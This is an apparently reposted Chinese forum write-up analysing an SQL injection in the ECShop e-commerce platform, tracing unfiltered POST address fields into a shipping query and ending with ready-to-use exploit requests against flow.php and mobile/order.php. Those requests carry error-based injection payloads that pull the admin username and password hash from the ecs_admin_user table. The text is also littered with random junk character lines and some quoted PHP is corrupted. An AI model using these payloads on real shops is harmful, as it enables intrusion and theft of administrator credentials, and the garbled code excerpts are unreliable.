ecshop全版本注入分析

admin

前段时间大概2012年圣诞节左右，在t00ls上看见ecshop全版本注入，当时也下载了最新的程序分析了下,最近考试比较忙，今天刚考完，把我分析的记录下来。

    漏洞关键文件：
+ s/ \8 f* I/ [' X3 b
) w: H% @/ P; W2 {/ Y, V    /includes/lib_order.php

    关键函数：



01     function available_shipping_list($region_id_list)

( h# @5 @4 X1 q. g3 F" k  b- H02 {
- I. \2 l: n/ V1 K' g# [4 @
03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
- a9 `* i- U) R! x8 c+ b/ P- }
04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' .

05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .

  o' y8 l" ^+ F* V4 S06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .

7 ]  P6 k% o) O07                 $GLOBALS['ecs']->table('area_region') . ' AS r '.
7 V. w5 z( ]! [$ J1 q0 G
08             'WHERE r.region_id ' . db_create_in($region_id_list) .
, M* {9 Q/ U; o7 C: k8 ]  C
09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
$ W1 I0 _, K: d$ S
10   
1 m9 G" _; G& _/ _$ w" J0 ?2 l
, W9 u' x$ V' y+ y; x3 M7 r11     return $GLOBALS['db']->getAll($sql);
" m! u& P8 i+ `2 t" r$ g$ s  f: v
4 x4 p0 j3 p- W2 V! B# E* }12 }

5 @8 k. Z, Z) S6 b! U0 e( D# ^' g显然对传入的参数没有任何过滤就带入了查询语句。
1 s, F/ \. l, Q6 e, @% W& i" t
下面我们追踪这个函数在flow.php中：
第531行：   
6 }4 k& U; w/ Z8 L% \: W% U5 N1 f
5 n4 E* y0 w& L4 L/ m' Y: ?( I. `1 $shipping_list     = available_shipping_list($region);
) w3 C2 q: n# ~5 Z" \- F


# x3 \$ S& ]3 w( G- j

再对传入变量进行追踪：
) X! u# o2 ]1 B. H0 V
第530行：   
- r3 J' I; ?8 ]" [0 p$ u8 B! c
1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);


5 K! I4 `+ c0 B8 L- Z, A# K
; k0 F6 E* L5 Q* ?  f! N( Z

第473行：        
3 k( z: n7 g4 ~. |: p7 ?
9 F: l# U% ]6 Y* X) K6 ?5 ?9 {2 q1 $consignee = get_consignee($_SESSION['user_id']);
' o) ~1 W5 I9 o2 {
到了一个关键函数：
4 |. g$ C8 q" A3 H/ I+ Y$ u( k
/ g7 v3 }; t7 v/ _; }/includes/lib_order.php
8 Q7 C4 A! B4 n/ k, I2 P6 I

" [! r9 P  N, W4 ]4 p) x1 R
. d+ p" H, s3 i! M" w

01 function get_consignee($user_id)

02 {

% X8 j+ k+ }# _' t03     if (isset($_SESSION['flow_consignee']))

04     {
# A8 Z8 ^+ |, F! z
. a0 g# P  O  N  @05         /* 如果存在session，则直接返回session中的收货人信息 */
. }. k$ I9 P, L# H! U
* C# ]+ O; h# {6 z3 m06   

$ W, d+ Z9 g, {' m07         return $_SESSION['flow_consignee'];
7 u' M) T# p# b
08     }
$ h5 ~3 }" X* L1 ~
. w; x6 y# P* u. L1 o/ f09     else
8 ]1 x+ O7 N/ [: X2 V  ?% ?2 U
1 t6 i1 s3 i$ o3 ]3 A) `10     {

11         /* 如果不存在，则取得用户的默认收货人信息 */
; m* |4 b0 e2 w9 h
12         $arr = array();
. `2 [; I# U. U  C; U+ E, M1 F
13   

14         if ($user_id > 0)
' T+ }  y% j: T0 k; Z, a$ g  C
15         {
2 P5 u9 t2 p$ d. N
& I4 V5 G5 L( b- ~5 c! w16             /* 取默认地址 */
6 h1 d$ `+ u+ Z, m8 f2 U  i
17             $sql = "SELECT ua.*".
$ J$ o0 J4 X5 h/ l1 f
18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
. D6 k# U6 Y- r+ b
19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
" S6 [8 c+ k$ O+ N* n+ |& p2 _7 d" f, r
20   
  }* P, [, A4 W% @2 I) U7 n
21             $arr = $GLOBALS['db']->getRow($sql);
  j3 _; ]1 G5 m1 W
, R  X& T3 k3 p) t0 v22         }
( z' j" r7 G% G; t
23   

! p% g4 ^7 R  ~- L. H/ v5 r24         return $arr;

25     }

# E# R/ R: Z4 n" W0 q7 ?  s: g26 }

显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢？
6 Y9 q# `- E' M  H0 g# B# s/ Q
$ O5 y7 S3 d0 m  m" F
% ?+ U2 C: b$ ^2 I5 k
1 e, P* L- V; {8 d5 B0 A关键点:

% `% [9 B+ M+ ?% J第400行：    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);

+ N6 w! Q$ r: j# [这里对传入参数反转义存入$_SESSION中。
0 m6 C2 d7 Q3 A, j2 K) ]# [
7 V  Q& W  T; D
4 F' l# F% T. C5 f
# y: F  C4 I- k0 ^# g/ @然后看下：
% s! t; k6 @3 ~) ^6 C

: u6 u' m/ B( M/ I* b0 e
   
1 B+ ?% {2 E, m( z7 f, ]- Y4 E
8 ?4 l6 p7 H* e3 R% P. c8 B01 $consignee = array(

02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),
  I9 m0 x; t" P5 L
03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),

04         'country'       => empty($_POST['country'])    ? '' _POST['country'],
# [; z8 J; {/ x1 L" O. `8 r
05         'province'      => empty($_POST['province'])   ? '' _POST['province'],
, b7 ^4 b! x8 G$ D
% u$ T  W. i4 U# }06         'city'          => empty($_POST['city'])       ? '' _POST['city'],
  N3 k* v% m& _
07         'district'      => empty($_POST['district'])   ? '' _POST['district'],
# }. o' O0 j, r
08         'email'         => empty($_POST['email'])      ? '' _POST['email'],
3 [9 V# @1 \# w6 a
( T, }9 ?, t  T9 Q* k( x2 D09         'address'       => empty($_POST['address'])    ? '' _POST['address'],
0 L9 U" N6 L9 v- i2 H0 ?% K0 q1 \
" c, p! X: _$ V- f$ Y6 y10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])),
" [, ~# t' ^. L: B6 W0 L1 P4 z* \
11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])),

5 M" ?9 {5 }/ ~: n( W4 k* }: o, T12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])),
3 D3 g1 C$ l: A& r: _
3 w2 a( ?5 b$ J1 a/ {! Z3 e/ a; d4 z13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],
9 Y' Y0 T# Y* {( ]9 B
14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'],

15     );
  M8 V- d$ v5 W& B) `+ Q- N
& [% ~: Y, G/ X, e好了注入就这样出现了。

/ ^& Z% ?. S  L7 |' h==================

注入测试：

环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)

* x; ~- P+ l* g. _, f8 ]测试程序：ECShop_V2.7.3_UTF8_release1106
) J3 i& Z. c$ ]9 q+ h5 X


9 K; k. z5 r# x1.首先需要点击一个商品加入购物车

2.注册一个会员帐号
+ m5 q/ d) \2 E$ x* r
" v, Q+ I) C. w9 k  |7 H6 U3.post提交数据

/ k/ A! I- |' u
0 O# p  [8 U: O8 Y( N; a
1 http://127.0.0.1/ecshop/flow.php

2   

" ]9 Q2 e5 E- D2 x3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
0 _8 Q# r5 {2 A' o举一反三，我们根据这个漏洞我们可以继续深入挖掘：
( V- y+ ~1 h- d
" n3 p9 ^3 p9 A' l我们搜寻关键函数function available_shipping_list()

  ^; s; ^) d: Z: P在文件/moblie/order.php中出现有，次文件为手机浏览文件功能基本和flow.php相同，代码流程基本相同

7 V4 t! `3 E, ]; k; d+ P利用exp:
% K) _5 b$ s9 t1 h( D
1.点击一个商品，点击购买商标

- R6 `6 s  R9 J1 c- {2 g: R2.登录会员帐号
: @' a! E6 s0 d5 K
3.post提交：

1 j+ V2 b4 l- Q9 [$ \+ J; B: S2 n' [' Khttp://127.0.0.1/ecshop/mobile/order.php

9 G0 _  h# M4 f7 q( l, s* J
4 T1 l" R! c/ ]
7 Z% }% _* ^( g( i& Tcountry=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=

7 g, b  i  P: m! z$ c$ T